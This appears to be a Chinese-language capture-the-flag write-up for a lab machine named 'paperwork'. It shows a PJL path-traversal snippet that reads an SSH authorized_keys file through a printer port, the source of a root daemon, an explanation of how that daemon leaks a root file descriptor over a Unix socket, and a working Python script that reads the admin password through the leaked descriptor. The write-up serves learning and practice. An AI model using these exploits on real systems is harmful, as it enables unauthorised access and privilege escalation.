python3 << 'EOF'
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 9100))
# 尝试读取刚刚上传的文件
cmd = '@PJL FSUPLOAD NAME="0:../../../home/archivist/.ssh/authorized_keys" SIZE=9999\n'
s.send(cmd.encode())
response = s.recv(9999)
print("文件内容:", response.decode())
s.close()
EOF
如果有公钥输出就证明写入成功
ssh -i ~/.ssh/id_rsa archivist@paperwork.htb

archivist提权
可以查看/usr/bin/paperwork-daemon文件
lp@paperwork:/tmp$ cat /usr/bin/paperwork-daemon
cat /usr/bin/paperwork-daemon
#!/usr/bin/python3
import socket, os, array, hashlib
import zipfile
import shutil
try:
admin_fd = os.open("/etc/paperwork/admin_pins.conf", os.O_RDONLY)
except Exception:
os._exit(1)
LOG_PATH = "/home/archivist/printer/logs/commands.log"
def get_admin_secret():
data = os.pread(admin_fd, 1024, 0).decode().strip()
if "ADMIN_PASSWORD=" in data:
return data.split("ADMIN_PASSWORD=")[1].split("\n")[0]
return data
def scan_for_malice():
if not os.path.exists(LOG_PATH):
return False
with open(LOG_PATH, 'r') as f:
content = f.read().upper()
if any(trigger in content for trigger in ["FSQUERY", "FSUPLOAD", "FSDOWNLOAD"]):
return True
return False
def trigger_lockdown(conn):
try:
log_fd = os.open(LOG_PATH, os.O_RDONLY)
evidence_bundle = array.array("i", [log_fd, admin_fd])
msg = b"ALERT: SECURITY_VIOLATION. FORENSIC_CONTEXT_ATTACHED."
conn.sendmsg([msg], [(socket.SOL_SOCKET, socket.SCM_RIGHTS, evidence_bundle)])
zip_path = "/root/quarantine/evidence.zip"
with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zipf:
zipf.write(LOG_PATH, arcname="commands.log")
with open(LOG_PATH, 'w') as f:
f.truncate(0)
os.close(log_fd)
except:
pass
def main():
socket_path = "/run/paperwork/mgmt.sock"
if os.path.exists(socket_path): os.remove(socket_path)
if not os.path.exists("/run/paperwork"): os.makedirs("/run/paperwork")
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.bind(socket_path)
os.chmod(socket_path, 0o660)
os.chown(socket_path, 0, 1000)
s.listen(5)
while True:
conn, _ = s.accept()
if scan_for_malice():
trigger_lockdown(conn)
else:
secret = get_admin_secret()
token = hashlib.sha256(f"SYSTEM_CLEAN:{secret}".encode()).hexdigest()
conn.sendall(f"STATUS: SYSTEM_CLEAN\nSIGNATURE: {token}\n".encode())
conn.close()
if __name__ == "__main__":
main()
程序整体功能
这是一个运行在 root 权限下的Unix Socket守护进程,用于监控打印机日志中是否有恶意PJL命令,并在发现问题时收集"证据"。
逐行深度解析
启动时:以root身份打开敏感文件
try:
admin_fd = os.open("/etc/paperwork/admin_pins.conf", os.O_RDONLY)
except Exception:
os._exit(1)
关键点:
- 程序启动时(作为root),用
os.open()打开了/etc/paperwork/admin_pins.conf admin_fd是一个文件描述符(整数,比如 3)- 这个文件包含管理员密码
ADMIN_PASSWORD=xxx - 重点:这个文件描述符在整个程序运行期间一直保持打开状态,权限是 root
辅助函数:读取密码
def get_admin_secret():
data = os.pread(admin_fd, 1024, 0).decode().strip()
if "ADMIN_PASSWORD=" in data:
return data.split("ADMIN_PASSWORD=")[1].split("\n")[0]
return data
功能:从已经打开的 admin_fd 读取前1024字节,提取 ADMIN_PASSWORD
关键点:
os.pread(fd, size, offset)是无文件权限检查的,因为文件已经打开- 使用
admin_fd这个整数直接读取,绕过了文件系统的权限验证
监控函数:扫描日志文件
def scan_for_malice():
if not os.path.exists(LOG_PATH):
return False
with open(LOG_PATH, 'r') as f:
content = f.read().upper()
if any(trigger in content for trigger in ["FSQUERY", "FSUPLOAD", "FSDOWNLOAD"]):
return True
return False
功能:读取日志文件 /home/archivist/printer/logs/commands.log,检查是否包含PJL命令关键词
关键点:
LOG_PATH是archivist用户可写的目录- 只要文件中包含
FSQUERY/FSUPLOAD/FSDOWNLOAD任一字符串,返回True
核心漏洞函数:泄露文件描述符
def trigger_lockdown(conn):
try:
log_fd = os.open(LOG_PATH, os.O_RDONLY)
evidence_bundle = array.array("i", [log_fd, admin_fd])
msg = b"ALERT: SECURITY_VIOLATION. FORENSIC_CONTEXT_ATTACHED."
conn.sendmsg([msg], [(socket.SOL_SOCKET, socket.SCM_RIGHTS, evidence_bundle)])
# ... 省略后续代码
这是漏洞的核心! 我拆解给你看:
A. 打开日志文件
log_fd = os.open(LOG_PATH, os.O_RDONLY)
- 作为root,打开日志文件,获取一个新文件描述符
B. 打包文件描述符
evidence_bundle = array.array("i", [log_fd, admin_fd])
array.array("i", [...])创建整数数组- 包含两个整数:
log_fd(日志文件描述符)和admin_fd(密码文件描述符)
C. 通过socket发送文件描述符
conn.sendmsg([msg], [(socket.SOL_SOCKET, socket.SCM_RIGHTS, evidence_bundle)])
sendmsg()是高级socket发送函数socket.SCM_RIGHTS是发送文件描述符的特殊标记- 关键漏洞:它把
admin_fd(root权限打开的密码文件)直接发送给了连接的客户端
主循环:触发条件
while True:
conn, _ = s.accept()
if scan_for_malice():
trigger_lockdown(conn)
else:
secret = get_admin_secret()
token = hashlib.sha256(f"SYSTEM_CLEAN:{secret}".encode()).hexdigest()
conn.sendall(f"STATUS: SYSTEM_CLEAN\nSIGNATURE: {token}\n".encode())
conn.close()
逻辑:
- 等待客户端连接
/run/paperwork/mgmt.sock - 检查日志文件是否包含恶意命令关键词
- 如果包含 → 调用
trigger_lockdown(),泄露密码文件描述符 - 如果不包含 → 正常返回状态签名
漏洞利用原理图解
攻击者 (archivist) root进程 (paperwork-daemon)
| |
| 1. 写入 "FSUPLOAD" 到 commands.log |
| ----------------------------------------->|
| |
| 2. 连接到 /run/paperwork/mgmt.sock |
| ----------------------------------------->|
| |
| 3. 检测到关键词
| 4. 打开 admin_pins.conf (fd=3)
| 5. 打包 [log_fd, admin_fd]
| |
| 6. 收到 SCM_RIGHTS 消息 + 文件描述符 |
| <-----------------------------------------|
| |
| 7. 用收到的 fd=3 直接读取密码文件 |
| (无需任何权限检查!) |
| |
为什么这个漏洞如此危险?
正常情况:
# archivist 用户尝试读取密码文件
cat /etc/paperwork/admin_pins.conf
# 输出: Permission denied ❌
利用漏洞后:
# archivist 用户通过泄漏的 fd 读取
os.pread(leaked_fd, 1024, 0)
# 成功读取密码内容 ✅ (完全绕过文件权限!)
核心原因:
- Unix系统中,文件描述符的访问权限在打开时确定
- 一旦root打开了一个文件,即使后续切换用户,这个fd仍然拥有root权限
- 通过
SCM_RIGHTS传递fd,权限也跟着传递
污染日志文件
在 archivist 的shell中:
# 查看日志文件位置
ls -la /home/archivist/printer/logs/
# 写入触发关键词
echo "FSUPLOAD" >> /home/archivist/printer/logs/commands.log
# 确认写入成功
cat /home/archivist/printer/logs/commands.log
py脚本:
#ran this script in /tmp (on user archivist via gained ssh access) to find out the adminpass and used it for the root user
#while internally switching user using su command
import socket, array, os
path = "/run/paperwork/mgmt.sock"
s = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
s.connect(path)
msg, ancdata, flags, addr = s.recvmsg(4096, socket.CMSG_SPACE(2 * 4))
print("Message:", msg)
fds = array.array("i")
for cmsg_level, cmsg_type, cmsg_data in ancdata:
if cmsg_level == socket.SOL_SOCKET and cmsg_type == socket.SCM_RIGHTS:
fds.frombytes(cmsg_data[:len(cmsg_data) - (len(cmsg_data) % fds.itemsize)])
print("Received FDs:", list(fds))
log_fd, admin_fd = fds
# Read the admin_pins.conf via the leaked root fd
data = os.pread(admin_fd, 1024, 0)
print("admin_pins.conf contents:", data.decode(errors="ignore"))
靶机下载执行



浙公网安备 33010602011771号